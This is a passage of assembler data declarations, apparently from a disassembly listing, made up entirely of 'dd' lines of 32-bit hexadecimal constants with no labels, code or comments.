		dd 0ED804848h, 0E76AC620h, 4AA73EECh, 0AEB56AD4h, 0A1E4043h
		dd 60181E62h, 0C6E550CCh, 0C9AA4BB4h, 652089EDh, 0CBB050C5h
		dd 670CDAA3h, 265C6625h, 0FA88E1A3h, 0D9825850h, 0E427FE80h
		dd 0E4613AEh, 0AB83C47Eh, 0C6940150h, 0BF4A7A69h, 33D1C32Bh
		dd 0EF126FCDh, 5EF5B06h, 0DEEDAAD5h, 73873AEFh,	92C32201h
		dd 9149D315h, 0AE5B55C9h, 70956F01h, 0F030933Dh, 9AC33860h
		dd 0A7E807C6h, 0AE95690h, 99A625D2h, 0C766C31Dh, 6D549125h
		dd 0FE9BDB75h, 39DFBB6h, 97438B98h, 2FC59193h, 73FDB46Fh
		dd 94FB4398h, 0CB09C9D1h, 4F6D5FDh, 6DADF5Dh, 0FFA5C55Ah
		dd 81CBC0BCh, 0B7607AFDh, 0FD4E653Fh, 69B7B15h,	4EE22085h
		dd 295F4E74h, 3CC6EBD3h, 0CD70085Bh, 0FD70A4C7h, 5162D422h
		dd 0B32AA04h, 5C7FA40Dh, 81DE7B8Dh, 0E4C024FDh,	0BCC772B2h
		dd 8EE06DA7h, 185885B6h, 8A761A9Eh, 0AE07D9B8h,	6E6AFE00h
		dd 0F9E5C899h, 5C2BA4h,	240FC7C2h, 0EE5EA3B7h, 395DD96h
		dd 5D3E22F8h, 496E5088h, 3C450A8Dh, 68295E63h, 0D58E5F3h
		dd 68CD9B09h, 1537F60Ch, 0A48EBE9Ah, 0E0F2138Bh, 0CAD5C5h
		dd 51A04D2Ch, 13365B4Fh, 4B451500h, 3D59DCA7h, 34DDA9EFh
		dd 2DC51A92h, 486F7ADEh, 0D5F337E0h, 38998518h,	0D578400Eh
		dd 0BA688424h, 97D30FBBh, 9B8B9A48h, 0B7E6612Ch, 92872C70h
		dd 0A4EB6426h, 2C739F8Eh, 45D787D5h, 9941515Ch,	41371139h
		dd 40E6D12Bh, 0AE392ADEh, 9505F512h, 677BC223h,	0EAB6E377h
		dd 4763FC98h, 3F8D411h,	967C1D39h, 0C6FF59C4h, 7A364D92h
		dd 31E3C389h, 0DA3C340Dh, 9C0A9198h, 444058B9h,	579C138Eh
		dd 1E434F51h, 5339F2Ch,	0BF75256Fh, 0EF622D26h,	1C163711h
		dd 75B7C847h, 94B596B2h, 338439E7h, 0BC4A65FCh,	7319DB54h
		dd 0D97D41F5h, 20698D3h, 25817189h, 0FA37BCAEh,	0E8483848h
		dd 8BDC1D26h, 9AF4A2D7h, 0C2F674D4h, 0BEEE5D05h, 0A7FE32EEh
		dd 4BCC092Bh, 0FD196141h, 4B6BBE6h, 494076D8h, 0AA16D2E6h
		dd 597844B3h, 0B2C44180h, 0EBF46AC4h, 651B50h, 70C4F109h
		dd 0C11C4C7Eh, 9142EF77h, 4FFC7770h, 9D14E7F5h,	9DB0BDB2h
		dd 0E493D83Bh, 0C94A0B68h, 12163027h, 89E1BCF1h, 0A3A37173h
		dd 0E1C2EF36h, 67EFFC46h, 0B03E274Ch, 0B63A4CA0h, 922E00B5h
		dd 4A15E014h, 227B20C8h, 0BA141278h, 0C99A294Ch, 0C8E3983Ch
		dd 0C24D1BD0h, 91947BBBh, 27B9E362h, 1AA607B9h,	0F16B5A88h
		dd 7A61C4F0h, 97D32F17h, 0B906294Bh, 65BB2F33h,	0E6D5C0BDh
		dd 6F6736D3h, 5B6F2976h, 0E9E5962Dh, 0EDF389AEh, 0D1E1CA6Ch
		dd 0D4EE166Eh, 0F81204A1h, 0C4035BEBh, 67A13EABh, 19F34212h
		dd 0D7E8DFFDh, 4014475h, 3B2131E4h, 0D63AA03Ch,	0AF4CEA10h
		dd 9B9061B2h, 52557D1Ch, 55B9F685h, 71BDE37h, 0BBB0019Dh
		dd 0FC3B4B22h, 0F89001DCh, 0C6F30084h, 0F611B647h, 17011309h
		dd 4EFCA50Bh, 0DE83F5C1h, 81DE3F74h, 0BB0B98A5h, 886B888Fh
		dd 0EDC9E5BBh, 6D2658C3h, 0D12BF073h, 2E9566C0h, 95E4DA4Dh
		dd 59F7022h, 0C688A99Dh, 0F0F26674h, 6CB86B74h,	0E84B09F2h
		dd 77F8DEFCh, 0ED6D8CB4h, 0BC118F21h, 0CC5590A7h, 74940648h
		dd 0C0C0219h, 81F8610Ah, 0B9726FE7h, 374C9F8Dh,	2D818871h
		dd 582E0554h, 3F6BC756h, 0C60CF1Bh, 49FD4E3Ch, 0EAF8A266h
		dd 6568F1ECh, 513A5EA7h, 90ADF9A7h, 0DBD627F8h,	7CE20E68h
		dd 0CFCC99A2h, 0F28ED8BDh, 0A8E7C6EDh, 5BAEDD6Bh, 0A181812Dh
		dd 0EE6CE8EAh, 1E414DA1h, 0ADFFE958h, 68B3FFE6h, 0C8B889E4h
		dd 76370D40h, 0A7C69897h, 45E75F6h, 1E5783DFh, 0D8FEBF4Ch
		dd 21902C81h, 3238AF32h, 2F074EAFh, 0ADFD1FECh,	0D8C91F56h
		dd 741D65CBh, 75B52728h, 0DEEE94A1h, 0BE66BAEAh, 31D3817Fh
		dd 87FEA3C0h, 0D0460E5Fh, 87712831h, 64D6A9E2h,	9623EA8Bh
		dd 1EC70C86h, 6112616Eh, 0E270D6AEh, 198B857h, 0C70731A7h
		dd 991EE913h, 0F2BD9FC2h, 20E48760h, 9EB6D851h,	3E1F9EE1h
		dd 0BA3234B0h, 0B4856369h, 0F5907B26h, 3F69A0C3h, 41B6ABD7h
		dd 0D1FFF281h, 9D3F3C53h, 0EB452403h, 0CE1D971Bh, 0BEEECE8Eh
		dd 0E32F33D2h, 59728D90h, 0BFB3DE18h, 0DD19BCFFh, 324D491Ah
		dd 601FA34h, 0F7C0BB02h, 0B3042C96h, 0EA9B7360h, 0F836C048h
		dd 0B8097946h, 4B060A75h, 40CA9063h, 0AFB7470Bh, 497E43ADh
		dd 7D26DAA0h, 0ABFE00F8h, 0BF4BB85Ah, 9F2DEEA0h, 0F37A6DD9h
		dd 0EC24C67Bh, 572EDEB3h, 28E89020h, 9EF939EFh,	1EE80DC4h
		dd 1861DCE9h, 0FF992BDEh, 0A7C61E1Ch, 72CD61F2h, 180A110Bh
		dd 0CB6EB497h, 170F5041h, 8A59F045h, 849D1347h,	0BB019369h
		dd 2A9DCA55h, 0BCB2C5CBh, 7D36BDB7h, 0D309F3A5h, 1EB06C7Fh
		dd 96F7E7BDh, 7401C47Bh, 0C710702h, 656661D9h, 603536BBh
		dd 3AB90E61h, 985521F3h, 0B1948BEh, 32AE1CEh, 0FC53F801h
		dd 8ACE5C87h, 0EAAD6F7Eh, 0AF885270h, 0E27EE51Bh, 0BC45739Bh
		dd 6AC893FDh, 95D666F5h, 14525FF6h, 82353C25h, 2159FF81h
		dd 410C9F90h, 0C670E822h, 0AAC7642Eh, 0FBF778FAh, 5A3084A4h
		dd 0D54AF624h, 3F961569h, 63FA34CCh, 0AAC957B4h, 0AA20CD3Ah
		dd 0B0D815CCh, 12F84AE0h, 0F5C6AAFEh, 3796D369h, 32B9F794h
		dd 0F4EB5B87h, 20D2B151h, 62CB61FAh, 0BEACD5C3h, 0D0904446h
		dd 80C0EAE4h, 0E275A022h, 1AF62A6Ah, 713E24F8h,	0C0FF94A2h
		dd 6BEA8905h, 0AEAC3DAh, 3B408EE2h, 53699BC5h, 8FEE37FEh
		dd 46A8790h, 7511DEF0h
		dd 0AB0C9F91h, 99004F6Fh, 71E77D8Dh, 771783FAh,	51081EE3h
		dd 4389F274h, 78E65EF5h, 69C3FFA6h, 0E1609BA1h,	9A869D08h
		dd 0A0890622h, 2F8520C9h, 20B6B1A0h, 7F9CFD3Eh,	9BC379E2h
		dd 295D3DB2h, 396FD2D1h, 9D33BDFAh, 0DFFA7BF5h,	65F2ED89h
		dd 22C30961h, 82BB204Bh, 543E8F2Ch, 2971623h, 994E7374h
		dd 77B9B42Bh, 16F24ED2h, 3CC11BF6h, 510CA314h, 0CCA61794h
		dd 0B7BEAC7Bh, 3A9B83CAh, 726E1A84h, 3E21418Bh,	0AD84F57Eh
		dd 201E3499h, 8C9D2C6Eh, 39807BC2h, 0F2A13253h,	0F45ED073h
		dd 0C85C567h, 0C2AAF578h, 196DB9F4h, 4A09317Fh,	3FD2270Fh
		dd 0C2FF06BCh, 1EAA7716h, 0E4E4204Bh, 96FA4D3Dh, 0DE729576h
		dd 46B1AA94h, 0A6A3C787h, 6CA96D2Eh, 638C1981h,	5EC21437h
		dd 0D2DFD1C1h, 0AC8E5BD5h, 0DE84DE4Bh, 47E03712h, 8B3B6AEDh
		dd 25228735h, 0EFD95DEBh, 5F4A3FD6h, 9C633F6Dh,	8B2FC552h
		dd 6E2B25E5h, 0CDA0F466h, 53BDCA29h, 0D296F800h, 838B46BAh
		dd 0A7BAE9BFh, 0B553C78Ah, 0CF5FD609h, 6CA1C46Bh, 9ADAD9DBh
		dd 0A63864B7h, 8DE33B76h, 972899F9h, 2A005CFDh,	91998Bh
		dd 0EC257E1Bh, 3389DABFh, 5D257828h, 2B8B7AACh,	2184B9B3h
		dd 0B20B8C2Bh, 115945CBh, 0E48EFB50h, 0C74412Ah, 0CF74CEA7h
		dd 1D08BC54h, 0A87B7084h, 0CC53F3A5h, 0FB0C48CCh, 0B0FA523h
		dd 564F62BFh, 0BFB7F1B7h, 7259C7C2h, 0E7398897h, 1D64E109h
		dd 0B72E3C80h, 46474160h, 20374E9h, 1954C13Dh, 0A0050122h
		dd 8B709955h, 9B7A4F79h, 0DF0E112Eh, 7A6ACF8h, 0D34A32EDh
		dd 76D7B05Eh, 922CF6BFh, 3E20C1D7h, 4CE0954Fh, 0E715ED9Dh
		dd 0E24B9586h, 0C5B5E0D0h, 99F3FBD1h, 0AC06E3C4h, 950ED99h
		dd 92EFA0C2h, 0F1C8B74h, 0CACB7D10h, 7B6F1AFh, 4C2FA16Ch
		dd 1F6FBCh, 0F13309FFh,	5DE9F3Dh, 0DABFDD07h, 0C3D6956Ch
		dd 0DC9D8E3Ch, 2D9AAA84h, 6BCCAE5h, 34E00D8Ch, 0B989668Eh
		dd 8A959EBFh, 0B4048987h, 0C7E7E7BCh, 0BF9D6871h, 0E98B8020h
		dd 7D3156A1h, 0DB6AF42Bh, 0FF3D71Ch, 9CBDEF2Fh,	0FF40E920h
		dd 126E9D62h, 1FE9D625h, 0C8E055BEh, 519E687Bh,	0FD4468BCh
		dd 0D5AE858Bh, 0FFECCB9Dh, 367C0857h, 8CEB28E4h, 90F61678h
		dd 0F47442CEh, 647B01D4h, 0FA6243C7h, 2B29DEC7h, 189BE416h
		dd 0F3B25FD9h, 9C012432h, 0C8CB5130h, 53803C98h, 0A24377EFh
		dd 0CB597F11h, 0B4F851Eh, 0E068CFE0h, 0A72D52B2h, 916ECE11h
		dd 26311914h, 60CAF122h, 6C62EEAEh, 0B252C3BDh,	3FFFC9C5h
		dd 920F4724h, 0E547F2A9h, 68CC9DC6h, 0D9B59A2Bh, 0A58FD899h
		dd 836C8E8h, 80017C3Eh,	0EBD2F66Dh, 0B3D58A0Fh,	0F89070B5h
		dd 3641689Dh, 4BE110FDh, 5971C14Dh, 0BB84B55Fh,	0EFDDC9A8h
		dd 61244D0h, 6B2AABABh,	9B731706h, 6ED161D1h, 0A50C9C83h
		dd 57408B49h, 0E67B6034h, 9C0FEECh, 2D48722Eh, 0D6CCD0B4h
		dd 1D539F80h, 36E638A4h, 0A115FF00h, 68220898h,	22069D68h
		dd 0A2F74FC3h, 2BDFAB9Fh, 9D79198Ch, 0EA165822h, 0BE1EFA2Ch
		dd 2508DBEDh, 5297714Eh, 0ACA527F9h, 72600B77h,	0D835A45Dh
		dd 0DA216D8Eh, 42496B1Bh, 76CC402Eh, 67018909h,	29BEBDBDh
		dd 4F4D6308h, 20348FFBh, 0ED443D64h, 65F15C0h, 0B5AA4F77h
		dd 9C612F2Ah, 952CA2FAh, 4DB64AB9h, 0E4973310h,	0C1ED42F1h
		dd 4C81A999h, 0B6274F32h, 0ED084D6Ch, 4A3B87C3h, 15AA81CAh
		dd 5DE29D86h, 3791BF42h, 0CCA34A59h, 0BF098138h, 4C4E2F26h
		dd 5C93023Eh, 0AE280FEFh, 0E0C62591h, 7DA00CD2h, 3D55FED6h
		dd 1AB8B673h, 8E04A21Eh, 0F9407C9h, 0DF5BA57Fh,	0EE889DBDh
		dd 0F9C80A7Fh, 0CBD61B84h, 0CD4FD183h, 33846718h, 77F613A5h
		dd 0B76726DAh, 5D7E81BCh, 0AB8FADACh, 44C0AFD6h, 8C9D9CE4h
		dd 12D6B84Dh, 0E3939CCAh, 0D8EC1B58h, 0FBE54196h, 0A59EFA8Fh
		dd 0A238E89Dh, 4CC3B99Eh, 0A86C6078h, 4C2EEBA3h, 0AF410DB6h
		dd 0C129E8D2h, 0F9478BC7h, 0F367243h, 0BF505108h, 7169E642h
		dd 75321550h, 0F5872FD9h, 9A01703Fh, 3C9C624Ch,	25E7AD27h
		dd 83ACDEF6h, 0ED796F2Bh, 5F032D35h, 7E46F4F7h,	38740F99h
		dd 0F987414Dh, 0CAAD9DB4h, 0AF2BFE66h, 0E76D6E92h, 316DE561h
		dd 1C743EC3h, 9A533820h, 37F722A4h, 0F1789B22h,	2D675612h
		dd 0B0BC6058h, 0D140CF6Eh, 2C20EA27h, 517CF93Bh, 635E183Fh
		dd 0F6F83A76h, 5020142Fh, 42E166AEh, 2ED585C6h,	4AC5D1B5h
		dd 0F30E1D6h, 0EB2B7ED0h, 0A4D17EFAh, 1A237138h, 3AD16A41h
		dd 0C378CC62h, 1F8A4F14h, 0EC0D415Bh, 77316E7Dh, 0F31ED3BEh
		dd 0E76C1A41h, 0EA6025FCh, 0DE696917h, 0B17B2FFBh, 5F43F586h
		dd 0AE711E93h, 0CD4EEDC2h, 0B42CB1D6h, 56E745C0h, 0EB1CE6D6h
		dd 5D5F81BFh, 0C81B7EB1h, 19C19D77h, 0D8744EFh,	73A23FA1h
		dd 0AFB39731h, 0DAEDC2A6h, 0B35B4BCDh, 0C6F5A01Dh, 0DAC8A334h
		dd 2B3CA06Eh, 0B74F0E2Ah, 0FB002A68h, 691EC313h, 63EDB4B8h
		dd 0AFA36C2Ch, 9D418980h, 0F8BBE9FFh, 94DB8BA1h, 0F9CEB060h
		dd 99EBBBB8h, 57892E84h, 7F67DDF3h, 0CBE7479Fh,	12042393h
		dd 2D92C63Ch, 3E7B94D8h, 92C014D1h, 1DEFAB99h, 2011139Ah
		dd 0BF63F52Eh, 75CEF051h, 0DC6DC2DDh, 51E8318Fh, 3141DBE5h
		dd 265FBD92h, 99270F3Ah, 0E977959Ah, 437C22FDh,	0E131B6DDh
		dd 608C47F4h, 646E2DE6h, 6CAC30DFh, 2BBDC974h, 5280D1E8h
		dd 477E2773h, 6EE8A90Fh, 0AA9A6723h, 28FEE4F3h,	21DC65C0h
		dd 624CC053h, 0A3100A2Ah, 57DC0412h, 9A04DA55h,	406C9C0Dh
		dd 0D99EA90Eh, 7068716h, 0EE3346F3h, 0A3A9F32Dh, 6063AC27h
		dd 4190AEE0h, 0EF64EE87h, 47363452h, 0F4FA6BD5h, 0FAF75A76h
		dd 0DF7D4DB4h, 8C410903h, 37E9B514h, 0DCD93952h, 21AD2FEEh
		dd 30D85827h, 0DFD1769h, 0C31BF6F1h, 10E9F386h,	2FF9BF7Fh
		dd 997A1D5Bh, 38C0B03h,	2E2E923Dh, 5AE004D7h, 0D182CB31h
		dd 1DDDFDDEh, 0ABE36FB5h, 6FBEA40Fh, 0F125DDCFh, 0D1154C9Ch
		dd 5DA01B34h, 12DEC0BDh, 2F1DC190h, 242BB17Dh, 2866A6EFh
		dd 69C3D706h, 48432911h, 8F614809h, 83A58B79h, 436C670Ch
		dd 81719608h, 7D394514h, 0AFB5A175h, 0FF64C74Dh, 84CFB3EBh
		dd 8AF193E5h, 3481990h,	0E33A7FE9h, 2274345Ah, 0FDB1EC4Ah
		dd 0D465543Eh, 21FA29A7h, 375ED416h, 0CC67A688h, 0EFD0AACBh
		dd 0D9DD5F92h, 98E4583Fh, 0AD6AC56h, 0C29CE529h, 9E7DC099h
		dd 5B3F6CA2h, 0BD4E8BF3h, 72230137h, 0C97FBDB6h, 0BB4EB039h
		dd 9EF57CC2h, 0C5B5878Bh, 0E72A524Bh, 683294F1h, 1CF236BBh
		dd 7CEE02D8h, 616CEFF1h, 6F55EF65h, 0CB113B10h,	26A0494Dh
		dd 49CBA29Fh, 36048D75h, 7A0BCF26h, 66407731h, 54B5B66Eh
		dd 2DD96A8Bh, 0AD34DCAh, 0ECE0C7ECh, 0FB980277h, 0D2B80499h
		dd 1552B3F7h, 8751F8EDh, 3E2DA3F7h, 828E17CAh, 0E27644BAh
		dd 0A1E1FF8Ah, 93DE20F9h, 0E2EB6E23h, 98C73F62h, 0EDAF5982h
		dd 29E6DACEh, 3FF89E41h, 12B3FDEDh, 9BC6303h, 0ECFBB042h
		dd 0B3AC0C07h, 611C4503h, 971F470h, 0D690AFB7h,	0EE3572C8h
		dd 0B72F2D30h, 0F5AA4E86h, 3107C171h, 9D4B36FEh, 9CB5F3F0h
		dd 8A99F326h, 0C40D45C7h, 0C61059ACh, 0AC17637Bh, 6EE9232Dh
		dd 0E12C60A1h, 705368DDh, 0EF0CB6AEh, 9D1191B7h, 7EC6FDA7h
		dd 6B398B4Eh, 2FD9A559h, 0E686D354h, 0E9F2CE25h, 0DDA1CB81h
		dd 661F9C08h, 207B7951h, 81BE8434h, 0C7988BD3h,	0B7B8D39Ah
		dd 94D72C17h, 7AA26E24h
		dd 0C3AC3AF2h, 56CD411Dh, 61AA0D5Dh, 53A4813Dh,	0BD571B16h
		dd 79D907B1h, 6674367Bh, 244C4ED6h, 5111778Fh, 7CC97F08h
		dd 181139D0h, 0BB0A4F89h, 104DA462h, 56B12581h,	0DF5ACC6Eh
		dd 287BFC9Dh, 3C086414h, 0A2F870ACh, 8D316FC3h,	6346DECDh
		dd 4A2C6F24h, 920D6A46h, 43CDE699h, 565B918Eh, 0CE1C6579h
		dd 0FE06385Fh, 0FB4F5787h, 87CF5135h, 0AB2EDAFCh, 63A90609h
		dd 4AD8DDDEh, 0A74EFF9Ah, 2D33C933h, 0F4DEE63Ch, 0A81C9653h
		dd 0AA0F8BB6h, 0CE306329h, 935716BCh, 88F40F68h, 7BA5EA00h
		dd 5162AE1Fh, 4625B943h, 3F4EDBCFh, 4EA9677Dh, 0CCBDE0DAh
		dd 0FF764299h, 987D3049h, 11AA4797h, 0BAEF09C2h, 2AA30351h
		dd 0E78FBF05h, 512EF32Dh, 4F33EF0Dh, 0ECDBD7B0h, 0C62C4DCEh
		dd 27018617h, 84F59084h, 9625693Dh, 1B45A281h, 0BD60F13Eh
		dd 55D642FCh, 44C61131h, 4D4C81EAh, 2454EC74h, 106324D3h
		dd 515F38BCh, 6A1306F7h, 4D66B575h, 9B3360AAh, 828888F1h
		dd 0D14DA386h, 0BA0731A6h, 1919AB6Bh, 73F815CAh, 676FBA05h
		dd 905F5B4Fh, 5CF684D9h, 6B952A89h, 9535B712h, 0B56A04D2h
		dd 9C465D8Dh, 2B009944h, 0BC2E63Dh, 9A06D10Bh, 99294FC1h
		dd 35648EF9h, 0ED557415h, 0DE5DE8BEh, 8FAC4BB0h, 0D8D56A93h
		dd 20286555h, 1127B0DEh, 6069C1F2h, 24F464A2h, 601A7C06h
		dd 4C2087FCh, 0AFAC9029h, 2B0F176Ah, 70FBCA18h,	611439AEh
		dd 0D44AAEB7h, 65DE8774h, 22F64CFFh, 0D7F1B58Dh, 4B3B7871h
		dd 0C2638114h, 5FAC950h, 1D48C4CBh, 5593F1EDh, 0D4479E08h
		dd 2A2ABB9h, 0E72BB111h, 6D570FB3h, 0BC246F35h,	0A1C55C00h
		dd 2EB13F7Bh, 7F8A59EFh, 0DA7AF2BBh, 8B7EB3D3h,	9B37ACD7h
		dd 7AF35667h, 5035647Fh, 0BC290FABh, 0AEBE939Bh, 34217ED6h
		dd 0FDC0A2AEh, 3355CAABh, 0E4E02B48h, 7C66200Ch, 2F93A6DBh
		dd 92D4FD3Bh, 84E63521h, 6FBC980Bh, 77F4168Dh, 9A51619Ah
		dd 16D35751h, 0A47ED9B9h, 0E7698C69h, 0C2BD8811h, 7DBF19FBh
		dd 0B3716FF7h, 6184AC2Fh, 7744A9C2h, 47330629h,	20C1300Dh
		dd 85778689h, 6543E584h, 13D63641h, 0EB06B727h,	34F8B9C7h
		dd 3CC591A3h, 18271F6Dh, 0ECCDA17Dh, 3D8AFAA3h,	0A177FF79h
		dd 2003B3A5h, 44C7D9CFh, 191542Ah, 20C0C639h, 4F322A38h
		dd 1D6918F9h, 16A558A0h, 0FE415F9Bh, 0BFB0AF4Fh, 0F1498420h
		dd 0A3B813Ah, 0F685B1B1h, 3E428E48h, 0EB37E1DEh, 0C764C0ACh
		dd 0D735AA0h, 0B3AD5DA5h, 7A44B0CDh, 8E61F585h,	0E3FB82CAh
		dd 9FA0AD3Ch, 0D56380D0h, 33553D4Bh, 0F84A52A9h, 43CF3737h
		dd 2D0F4DCAh, 0AEBBFAB3h, 6B96C860h, 9C669CDDh,	63E0D2D3h
		dd 851C5B1h, 50CB1E51h,	1BBA0CFDh, 8DF355C5h, 0EC66BE3Eh
		dd 9812909Ch, 5291BC87h, 7A3E441h, 3DAE3AECh, 0D3CB6952h
		dd 0B78513B5h, 80BD2316h, 5E3FE1EFh, 0BBF5A836h, 83D73DBBh
		dd 739A669Eh, 93F90A19h, 0B7AAA5ADh, 0C3C651E3h, 6AC428A9h
		dd 768A0EF5h, 0C5322164h, 0CB07B585h, 0E1A4DABh, 0D09A8B4Ah
		dd 0BBB4DDF1h, 2ABBAE5Fh, 18208E97h, 3D87C583h,	0CCE4AD14h
		dd 0BDC8F3C7h, 368C094Bh, 0AC1F7332h, 1ADFBDBBh, 99F9199Bh
		dd 0A708825Ch, 0ADE85F24h, 79A2A646h, 0A629DB1Fh, 7174ABCFh
		dd 0B69B2C54h, 12446265h, 2D48029Ch, 0C2E7E071h, 63C29A20h
		dd 3A6C811h, 0C88DB5FEh, 0F2CAA48h, 0A224ED12h,	28B217EFh
		dd 6B758803h, 0D0726AF4h, 3D4D7F1h, 9D34DFD9h, 0FA2336A3h
		dd 0DC348C36h, 46996BAAh, 58A25E80h, 795A633Bh,	8832F25Eh
		dd 1B156173h, 0AACF4EE4h, 0C2C8B879h, 0E0F34D29h, 0BED4E010h
		dd 0A2EB00B3h, 333F3E76h, 5620FDC9h, 17967BB5h,	54FE8C5Ah
		dd 50658400h, 792F4047h, 8055B8AAh, 0C183F033h,	5BCF7C6Eh
		dd 5485B87Ch, 6F01279Dh, 0B871FC0Fh, 0C8A23357h, 0DE445A51h
		dd 3EDE8A52h, 558512B7h, 76218FF8h, 0EE281892h,	6A221F69h
		dd 217A92B0h, 0DF3A69E8h, 0C6F0FED3h, 92CE5A5Ah, 0C3F0B2D9h
		dd 0A46CB431h, 71E80911h, 335A8780h, 6DB462DEh,	88198372h
		dd 0CEF67AC9h, 1CC6CE14h, 9A271F23h, 0FE5F9AB8h, 0BAE06725h
		dd 65B580E5h, 3D98109Dh, 2ED2B06Dh, 0F9604F3Eh,	464CB50Ah
		dd 0FA7350E2h, 0A7A2AFECh, 6514CD0Ah, 877D4BCBh, 0B6E5AF58h
		dd 320802A8h, 4BD957B5h, 0C8E7FCF9h, 7C2C6C6Bh,	0A80500F0h
		dd 43D28C9Bh, 9EA2D1FCh, 0CD179406h, 8961B9E0h,	4F600635h
		dd 0C3CE1F1h, 0CB729D1Fh, 95D1DC8h, 794BA959h, 0FD569737h
		dd 84BAF9Eh, 18EB809Fh,	3F8349F2h, 68C486B4h, 0F08F9795h
		dd 5C56918Ch, 78418B25h, 0A8C33298h, 537BE472h,	920B3630h
		dd 77B6225Dh, 40D0716Bh, 0F1538816h, 0DF427B43h, 41BD3A43h
		dd 57FF4C47h, 6AAB0C66h, 0BF41AF94h, 27C74C93h,	9E7220F4h
		dd 0D6B47F80h, 0A6EA712Dh, 6BD5D17Eh, 0FE06D372h, 4C974972h
		dd 42D95B4Bh, 5FC14672h, 404FA73Ch, 0BC888FBBh,	783C5470h
		dd 3A3F7D12h, 26C43605h, 0F63FE30Eh, 0D6C0DDAEh, 74C3EE6Fh
		dd 564BA0Bh, 1AD7BA3Ah,	67D18EF0h, 54ACDEE7h, 9D9B2FD7h
		dd 68C1B550h, 35C9AA24h, 0A89D18B0h, 5CB7B3FEh,	1A7827F4h
		dd 49BF77F5h, 0EC217843h, 30A63809h, 0D22A9D3Ah, 38CC4880h
		dd 499AF40Ah, 0C54613BCh, 0A15D80AFh, 0F0DD8FC7h, 0D579D8A6h
		dd 7E6F97C5h, 42560D4Ah, 78D90ACBh, 54787C8Ah, 0FF4CB94Dh
		dd 0E7C79BDh, 2B4E9CAh,	0FD6989D0h, 0AD5E5907h,	64777756h
		dd 0D7023D12h, 0CBB16590h, 0F3BFD30Ah, 9B451E32h, 9E7FE4C9h
		dd 86B24AC1h, 87A8C5Ch,	2A946FEEh, 8939B139h, 4EE969FCh
		dd 0C77D4E9Ch, 6A2207BBh, 0C94B3931h, 1C7D037Bh, 0D9C97491h
		dd 81533147h, 757B223Dh, 4F3ED54h, 25ABE116h, 44C5F148h
		dd 0E29901D2h, 43BFCA84h, 0C607B2BCh, 437758B7h, 0EE7E0555h
		dd 8103E2EBh, 0DBAB1F51h, 2A8B042h, 8AFE269Dh, 53E9F794h
		dd 0BC78767Bh, 0B1F2C0D5h, 0EA7BC1FCh, 996BE5AAh, 0E68C7698h
		dd 0BD594325h, 8794123h, 0A9CCFC13h, 2ED474E4h,	393A33F9h
		dd 88B3CBC5h, 0FC7812A7h, 6C7C1197h, 31430699h,	8133B5C5h
		dd 0B5FDA7ADh, 92E857EDh, 8A3DF8A8h, 2C2FE43Fh,	57972880h
		dd 0EC5B8Ch, 0CD225804h, 0EAE2D04Fh, 701785B6h,	705658FBh
		dd 0A70BE26Fh, 28CBC717h, 43D26B25h, 0E8B334D9h, 8C93F1E6h
		dd 1BE36B5Bh, 6F557C15h, 0FC76B106h, 1D10C6F9h,	30336A14h
		dd 6E0E6C08h, 0CD5E389h, 0D0C5841Fh, 66CB3F95h,	0C183306Bh
		dd 5A3300D1h, 858BBEFEh, 5BDA8B2Ah, 0AD421C0Ch,	10BC708Eh
		dd 97C7745h, 11413577h,	81E0E434h, 0CF043963h, 4208724Dh
		dd 0EF0A027Ch, 86072E27h, 9253DF5Dh, 447CF4C1h,	0C65DCCA1h
		dd 0C8501755h, 1776D8DDh, 0CCF3C954h, 0AFB85746h, 29A85E25h
		dd 0CCB640CCh, 0DDC7983Fh, 0F64472C8h, 60BA4A45h, 5C315C82h
		dd 0BCBC3B68h, 0E706FCF6h, 1D98D799h, 40E6817h,	0FEB81E9Ch
		dd 68E1C24Bh, 3C657133h, 0B5D06476h, 980B454Eh,	0DEBA032Bh
		dd 67FCB01Dh, 42B0CFFDh, 0C9C1D15Fh, 925C2614h,	5B038D57h
		dd 23E0F432h, 0EBFE4D41h, 9D78B708h, 73C2FF4Fh,	3130FBABh
		dd 0B743F6B4h, 264641F7h, 0D3B69E69h, 0B45141BEh, 441C7489h
		dd 93A3E706h, 9A0EBEAh,	32DADEADh, 37CC916Bh, 18C66162h
		dd 7EDEFD05h, 976DCCC5h, 9F458410h, 179F876h, 764EB2EAh
		dd 35A5DA6Dh, 0CA38696Ah, 12A6F6ABh, 8FB1E5D6h,	48ED71D1h
		dd 28E0FD52h, 5B25B0EDh
		dd 0F9A0C2D2h, 0E031C353h, 0F4AA5A1Bh, 2A2EE465h, 0A524FC50h
		dd 60F5A0A6h, 0BBA87C4Fh, 0CA7DB614h, 9E6346DEh, 577BA7FFh
		dd 3C05748Fh, 61C91333h, 0DCA63C29h, 8F14083Ah,	0D640B8E7h
		dd 4B9C0485h, 5FCEE805h, 94D045E0h, 0AA00AB3Eh,	0DEDD82A5h
		dd 0C24DF918h, 74C644D2h, 0F1DDD4A9h, 0C6065FF2h, 0F1B68DFFh
		dd 54747BA0h, 79C7F261h, 0E8F94E44h, 91D9124Ah,	0D4265A15h
		dd 0C134BCEBh, 9AF1FBDBh, 26F23579h, 6DF7E49Ch,	0FEE96D4Bh
		dd 0B558FBE4h, 2ED3A27Eh, 94381DA3h, 4AC08DB3h,	0B35B3516h
		dd 95569BCh, 8D655819h,	0C6E0629Ch, 0A179DB8Ah,	5E826D46h
		dd 5283B9C0h, 2A87F8C8h, 74666222h, 357AE5C5h, 6C143AADh
		dd 50BA58E0h, 0F63692D2h, 0D1BDAAE3h, 8143D697h, 422A8F51h
		dd 0A2C29F10h, 4C06A440h, 16BFEEB8h, 67A3F544h,	0B4F2CFA1h
		dd 0F0625554h, 9CB5614Ch, 332798C9h, 0E7CFCFCEh, 4787FDA3h
		dd 0EA67EEA4h, 0C6BF1B4Ch, 0B4EC0466h, 282845C7h, 10422EDBh
		dd 92745B54h, 97AC49CDh, 3C5C5CEh, 6099CA78h, 48A64B7Ch
		dd 0E8811812h, 2253D75Dh, 0B577BD2Ch, 0D8BF79CCh, 1601A50Ah
		dd 0BC21259Ah, 0EF7AAD7Bh, 5C905877h, 2113E6FEh, 17E8C351h
		dd 7A058D3Eh, 5CD7833Eh, 0E240ABD5h, 6373A763h,	6743247Ah
		dd 785ADF1Fh, 81BAFF00h, 907C496Ah, 0E285A19Bh,	0BF537745h
		dd 63601177h, 0D67177BCh, 4D39356Ah, 0F66D0965h, 75A461A3h
		dd 0ECF24E85h, 8ACB9B0Bh, 0F3E71980h, 0E67DE331h, 22EF3C58h
		dd 2D6B1C96h, 70FB5428h, 0FB1EAEAFh, 0FEBC3EC6h, 0C5AAFE2Eh
